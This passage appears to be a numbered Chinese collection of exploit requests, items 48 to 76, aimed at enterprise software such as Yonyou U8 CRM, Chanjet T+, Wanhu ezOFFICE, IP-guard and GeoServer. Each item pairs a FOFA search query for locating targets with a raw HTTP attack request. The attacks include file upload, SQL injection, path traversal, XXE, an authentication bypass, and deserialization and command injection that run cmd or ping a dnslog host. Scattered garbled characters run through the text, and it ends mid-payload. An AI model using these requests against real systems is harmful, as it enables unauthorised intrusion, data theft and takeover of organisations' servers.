* `0 g+ H  t* \0 }Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ B+ K7 Q! s, J0 d/ }$ W! |Accept-Encoding: gzip, deflate, br
. C' N3 j4 J: \Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close


7 l- G2 @8 U& e  F3 e  H* Z
48. 用友U8 CRM swfupload 任意文件上传
: t: M/ p" N( R  @1 R5 |1 G) B' LFOFA：title="用友U8CRM"
. g  F9 [. J, {- K7 S- d+ LPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
- p4 U0 P3 o' Q7 vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- o  K+ W' K0 g4 ^( M5 `Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 x( D' m8 S" F- G2 _% ^Accept-Encoding: gzip, deflate
' e8 B9 Y. r0 K! zContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
+ w6 }6 E  c4 j  W( f# j# P7 O------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
2 z& n; N( C5 Q2 n7 E. e1231
Content-Type: application/octet-stream
# A  x  R- i' T8 R2 D5 W6 Z------269520967239406871642430066855
/ c  Y9 W2 J# B. h# e9 d, gContent-Disposition: form-data; name="upload"
+ O0 M8 z" ^8 {6 u( F$ @! L* `upload
------269520967239406871642430066855--
  v7 s3 w- g- t" E- [
4 C+ }5 y# }9 ^" i
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"

- {/ W' e: M8 F: N# t$ G, xPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
  x  g# @# F. x) WHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
6 f+ F8 }1 c$ d2 v4 s+ f/ }Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 I4 L+ A  V: m! e& i9 b  Y5 [- F5 [Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  s% T1 d$ s' HConnection: close
7 d+ a' n0 V3 G; p. zContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

+ z% ?& N! r! ~0 [) T. O, h-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
7 D. n; _( W! D) W0 D+ i$ TContent-Type: application/octet-stream

wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"

upload
-----------------------------vvv3wdayqv3yppdxvn3w--

6 \- Z& y- p8 T; p2 u) k7 C8 [
http://x.x.x.x/tmpfile/updB3CB.tmp.php

50. QDocs Smart School 6.4.1 filterRecords SQL注入
, Y9 o" d9 q' u! \1 T$ aFOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
( y/ a: b; j9 o2 lConnection: close
Content-Length: 224
' [2 V5 |5 ^5 s! ^. DAccept: */*
9 p: M; k+ x0 G' g' a& cAccept-Language: en
# x- n3 D6 D4 P: Z6 {! ZContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

' }5 z: c7 V, m$ ]searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1


51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
: \4 L6 G; W+ c7 W/ D, N( N. bUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
* A, Z  }7 F4 yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
- ?3 Q# s0 G" J) d" ?& s# s8 Q2 O7 fAccept-Language: zh-CN,zh;q=0.9
Connection: close
4 G2 V  {) y& P, p6 J0 I. ~* n9 F

52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
4 E4 x# C9 v4 C, }POST /building/json_common.php HTTP/1.1
; X! N& M; a# A2 u- z, N$ t: JHost: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
! ?" t4 s; z' S8 BConnection: close
Content-Length: 87
Accept: */*
( Z: k; {) K; W; H8 RAccept-Language: en
Content-Type: application/x-www-form-urlencoded
6 P4 z, S* z3 TAccept-Encoding: gzip
. U  Q* C; Q% L/ x' c8 `( l# M. l
tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
2 O' K6 u0 c5 ~$ _: B
7 E' Q6 Z# D5 i$ L; W  b" ?; M
53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
2 D' g- l" ]6 N0 X2 V

54. 畅捷通T+ getstorewarehousebystore 远程代码执行
+ Z" v! O8 y& Y; E9 K1 L7 jFOFA：app="畅捷通-TPlus"
% ^+ x9 _+ C7 G  |" _5 S第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
( }% M6 v2 s  Z- L8 p"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
" C0 D: S4 O/ K+ I
, o; S- o( s$ N
: A' j. Z' z( d/ p. }完整数据包
% }6 a9 L! o8 ]! g9 wPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
$ _8 M; C) p& p, O" TContent-Length: 593
/ D/ k* t. n4 \# y* F- r2 ~
8 Z1 s( O5 q2 L% W{
) ?+ ?) R6 p* D, G"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
  "ObjectInstance":{
. o6 P- \4 I: ?  H# ]! l( y   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
7 d$ S% r/ z  e- r' X   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
6 M" E# D" C# B  U) i  S    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
; ]3 E" W3 \" Y1 m) R: l) m/ P/ u  }
  }
}
- ?+ |+ N0 G3 g5 y9 \
( ]& R5 L6 C! T* g! _) }+ g- C
8 L& w  C# P' m6 O- R8 V第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt

$ P* R$ q. T" F/ p  @+ W  z% A; u
55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
2 B0 W" ], z5 m2 ~& K第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

! T7 u6 g! B3 c$ u2 K4 Y# V) X56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
( d3 D* h  l  |: I5 NFOFA: app="畅捷通-TPlus"
. o1 x+ i5 [% L6 o: y2 l4 h" kPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
( e  k5 ]" B. Z3 {4 P% `+ RHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
  k2 j0 i$ g* E  x9 |Content-Type: application/json
  m! B1 N" z  N: t; p
{
% J0 t: f' W. e) M6 n  "storeID":{
9 X$ z3 ?: n2 ^, }% _, p1 R3 ~; y    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
5 F' w/ a4 i. i$ ?    "ObjectInstance":{
! P2 D2 v" u# B! V       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
% h" F. e: @" y; t1 H7 ~% f& n: b        "StartInfo": {
4 V, q' c( g' D           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
5 t, f5 K  a( \* L       }
    }
  }
}
& w  k- j1 `2 v* [  F# j: c; z8 i

57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
& w" }. t8 p7 |. J3 F' vGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
; X2 W* H" g* \% \. iAccept-Charset: utf-8
5 S/ u* D9 r' ?/ x3 X8 v# `3 T4 C9 `Accept-Encoding: gzip, deflate
6 L6 ]( x  h4 vConnection: close


/ \+ }! f5 @! B/ A9 @3 J/ r58. 畅捷通T+ KeyInfoList.aspx sql注入
6 _' ~9 e, B' s) D% D2 ?" o! KFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
& E3 X' ^; x% p& k0 kHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
: Y" S6 z8 s7 G) U& rConnection: close

! Q9 B8 m2 W6 Q: Y$ I5 Z! ]
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
/ V7 d/ ^2 g6 y- ?Host: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Content-Length: 1669
* @: g) a5 ~7 @. H7 B" ~Accept: */*
( S2 j7 F1 C; MAccept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

4 j8 ~0 X) F, w7 SPAYLOAD
$ u. V' K5 l8 U& N: K: i* a% C
1 D) N# E$ s" [7 {7 }% B/ }: `
60. 百卓Smart管理平台 importexport.php SQL注入
) }! t+ D  q- r* \7 X) MFOFA：title="Smart管理平台"
$ j! l. B- o/ d+ x3 e, \2 u9 IGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
5 r- L# S- C/ l+ nHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
1 Q, O1 f4 t/ X# z5 i# d) D! s( qAccept-Encoding: gzip, deflate
8 U6 X* `) b& |& }% [$ gAccept-Language: zh-CN,zh;q=0.9
Connection: close
$ p3 c0 D: B5 V" L- a3 k& w% Z

61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
8 h/ v4 f8 u+ a- }; MFOFA: title="欢迎使用浙大恩特客户资源管理系统"
( P2 ?% J  i/ bPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
2 R' ?( I- s1 q  CHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
" l% S" Q6 G# \: oContent-Length: 27
( B  n; @+ ~& O0 s7 Y. G" zAccept: */*
* `, @7 [( D. @: {  ]% g4 ~2 iAccept-Encoding: gzip, deflate
( n! f. s# ]6 g& `Accept-Language: en
Content-Type: application/x-www-form-urlencoded

2 i6 ], e0 I  v2 ^2 u, a8uxssX66eqrqtKObcVa0kid98xa
# U9 _: H2 p/ ~- p& m: @

62. IP-guard WebServer 远程命令执行
7 z8 V/ l, a1 _9 ]" D  G0 S% w6 RFOFA："IP-guard" && icon_hash="2030860561"
+ w- z2 X9 i: t# ]( ~7 WGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
8 }# r5 P) D! c8 W8 JUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
" `8 d6 W) F* k7 I# h) qConnection: close
, W  J# D8 i  ZAccept: */*
Accept-Language: en
Accept-Encoding: gzip
/ |8 |' D/ ?6 `/ e

: `2 k5 _6 j2 l) P# G访问

$ W- y2 L% Y3 B9 L  \- A* ~GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
/ J2 y6 `! f/ `! H: z! i7 G* qHost: x.x.x.x
4 S/ ^5 Y; j" R
4 {% j. x  l% p6 o+ j8 U; h
63. IP-guard WebServer任意文件读取
% g/ G0 k2 p- M) A3 PIP-guard < 4.82.0609.0
: Z$ Q. f( h+ b5 p) `FOFA：icon_hash="2030860561"
2 q9 q8 D$ ^  l: d: O* s* K( C+ EPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
. R+ H  i$ a# Q  B. hHost: your-ip
9 V2 X$ [0 X( k9 w  N' @3 p$ H& [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
( i8 X: f; X' E- g- r$ F- lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
: x! i  Z' i: `3 g3 y2 QAccept-Language: zh-CN,zh;q=0.9
& T+ b1 g6 O. s- y& @Connection: close
Content-Type: application/x-www-form-urlencoded

path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
! P: e7 L% T) ~! u. Z( i
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
3 o# k! K5 F# S' \FOFA：body="/Scripts/EnjoyMsg.js"
+ k# s# z, Q8 c& n9 P$ B* lPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
& I6 S# d. f# d* @- v: gHost: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
Content-Length: 369
) N% I  E9 S5 f2 pAccept: */*
Accept-Language: en
  T4 Y- a. k$ y9 g) P5 v% M6 Q! U3 pContent-Type: text/xml; charset=utf-8
/ q" |: J- T& L+ u5 Q. ~Accept-Encoding: gzip

3 w% n& D" y! @' N( J<?xml version="1.0" encoding="utf-8"?>
: J. O/ s9 V0 c+ \# n8 E<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
: k3 U+ x, D2 T8 j( `" H+ p<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
6 w! v7 W% C# `# ?- A8 `  G      <sId>1';waitfor delay '0:0:5'--+</sId>
, T: U; t. E5 p8 U: ~" O. j    </GetOSpById>
  </soap:Body>
9 \0 m7 @8 @; {$ i</soap:Envelope>
" u% o2 [7 p3 Y. {! j
( ~9 b: q. c! g7 C6 B# G. G( A
. q/ Z( R; t1 E- a, ^# n3 f/ y8 ]% m65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
6 [! G1 \% w! ~2 D* i6 K6 FPOST /SystemMng.ashx HTTP/1.1
! B2 }7 P* K3 w$ PHost:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
( m3 l: ]  t9 `; v$ PAccept-Encoding: gzip, deflate
8 s' d  q) f. A0 k: D1 u1 XAccept: */*
Connection: close
Accept-Language: en
Content-Length: 174
0 ^5 w: n- Z+ C: B# ~$ L; x7 Q
operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
- _- N0 E* n: X: P- X1 ]% z2 o) X
; }( Q* P& S; w5 }9 O( X: Z( ], Q
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
# Q8 v: J) s  f) l+ v* ]FOFA：app="万户ezOFFICE协同管理平台"
" h; u8 A: C# g. u, i- p( Y5 I; F
3 k: W- d0 y* @8 YGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
% a6 h: s7 T+ i% m) L7 |, pHost: x.x.x.x
  T# `( G! s# v1 t. P- G0 O: @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
8 {8 m4 G% @- oConnection: close
Accept: */*
Accept-Language: en
) P. R% H' W' a, g# e& E& ?Accept-Encoding: gzip

9 A2 H/ X+ O% y4 t. ]' a0 }$ S
第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
5 v1 D2 T- b# i$ w; Z: @
, l/ D( R3 V) @" ^7 ]* ]% u' A) p67. 万户ezOFFICE wpsservlet任意文件上传
/ @/ m. Y9 V, k" L* t5 S% z" g8 M$ |FOFA：app="万户网络-ezOFFICE"
" c  ~$ z! G; ]# OnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
/ e3 m9 G& v6 W0 _# y% l( `POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
  n3 v0 f6 `2 g, |. Q+ @9 q. S, ?User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
% O' D% U1 G6 Q% J9 j; a; ^Content-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
7 n; A: [0 I/ r. O2 CAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
+ V  ?0 l5 b* l( ~3 N3 E6 dDNT: 1
Upgrade-Insecure-Requests: 1

--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
3 _" }) X. O# i3 P' Z+ E" B: o
<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--
4 D/ N( c9 u4 m. o
: z: h2 K5 }' V; J
- ~+ P3 N7 g8 n0 k文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

68. 万户ezOFFICE wf_printnum.jsp SQL注入
4 E# h4 t/ R) h% w0 z4 ZFOFA：app="万户ezOFFICE协同管理平台"
" E- q7 v' t, A# I# K5 M4 e* DGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
. ]1 y* B* K8 }0 J" WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
7 O1 x5 h0 s" E! K7 G: O( z! C2 UUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
; q# m) v; B9 M7 x& O8 |Accept-Encoding: gzip, deflate
Accept: */*
) R, ~3 M3 D% r% _Connection: keep-alive
! ^& x% [  }/ u# j# j* l  q
& G7 u6 k/ y3 ~/ I
# `1 D  O7 j  x. J  _& r6 f70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
! Q! i! Y6 t2 s: L: |% nPOST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
3 A( i7 b% d- N" KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
6 }1 r  y' n4 [8 d! XSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
TYPE: C
Content-Length: 16702

__VIEWSTATE=PAYLOAD
) u7 @) t( o9 ]( ]& R
0 Y2 }- ]: f( d. K( r
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
, }1 a& i; [' F7 U& r% K( YFOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
1 D" d8 o, A& x) J& M% AHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
! `' _7 v# @9 ?6 E7 q" o0 BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; {2 P9 M1 w* Y. [+ R4 O+ ?Accept-Encoding: gzip, deflate
5 U  a" O5 k$ h/ H; r0 g. I- z7 lAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1

& Z( f3 f( F% d* E+ x3 _! \
72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
8 e' d- d- h. m$ ?; t# uPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
$ y' |8 q% q- X! X4 B# l7 b5 yHost: 192.168.40.131:8099
- r4 W- W3 C5 q* |) @" S& GUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
! D: \: a! a& |2 j! |( `Connection: close
Content-Length: 583
4 H) @/ ], m% P0 V& FContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E

2 D4 W7 f3 d% g3 f4 k
73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
  w2 q' b' M4 P0 g9 `9 ~1 e# RPOST /geoserver/wms HTTP/1.1
' {# W7 K5 g- T$ `3 B4 OHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
Accept-Encoding: gzip, deflate
8 Y+ X, O) P. u6 sConnection: close
Content-Type: application/xml
SL-CE-SUID: 3

PAYLOAD
( W# Z6 F' {5 e. k) ?( ]

0 Z, m5 p3 C6 T- A$ C! u9 t8 ?74. 致远M3-server 6_1sp1 反序列化RCE
$ c; v" J+ R6 b" F: bFOFA：title="M3-Server"
4 @1 X$ f9 j% y, Q* B% pPAYLOAD
7 O, _+ O% ~- k: s+ d3 L+ W" K
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
) y6 Q: h/ r1 a& Y% R3 {GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
5 O0 m- P# R+ W) V% z7 X; h  ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
6 [: C9 }# x& A  Z" V8 s: wConnection: close
Accept: */*
0 w) j/ R- ~' s0 j5 |* I, G% @Accept-Language: en
Accept-Encoding: gzip


) [( m" l8 E9 ~( E& o4 Y! FGET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x

3 j7 L9 u+ t* z3 R  C" x0 T4 T
2 X2 l$ L: n" W- |76. 新开普掌上校园服务管理平台service.action远程命令执行
; v4 l9 ^# D: {, h! R" n+ F! i. lFOFA：title="掌上校园服务管理平台"
% F) C) H8 B0 }* |# mPOST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
) m5 i3 N+ w# z1 c3 DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
/ W6 Z, _& ^4 S/ M% h8 fConnection: close
Content-Length: 211
4 g0 R8 \  _5 Y$ Q( s6 bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
0 }$ t, N8 h( Z0 n3 f# u3 DAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1

, |' ~0 F& |, y8 L/ J! p{
- u( K/ x9 l' V2 F6 J"command": "GetFZinfo",
+ k3 x8 R3 s# u: z# K  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
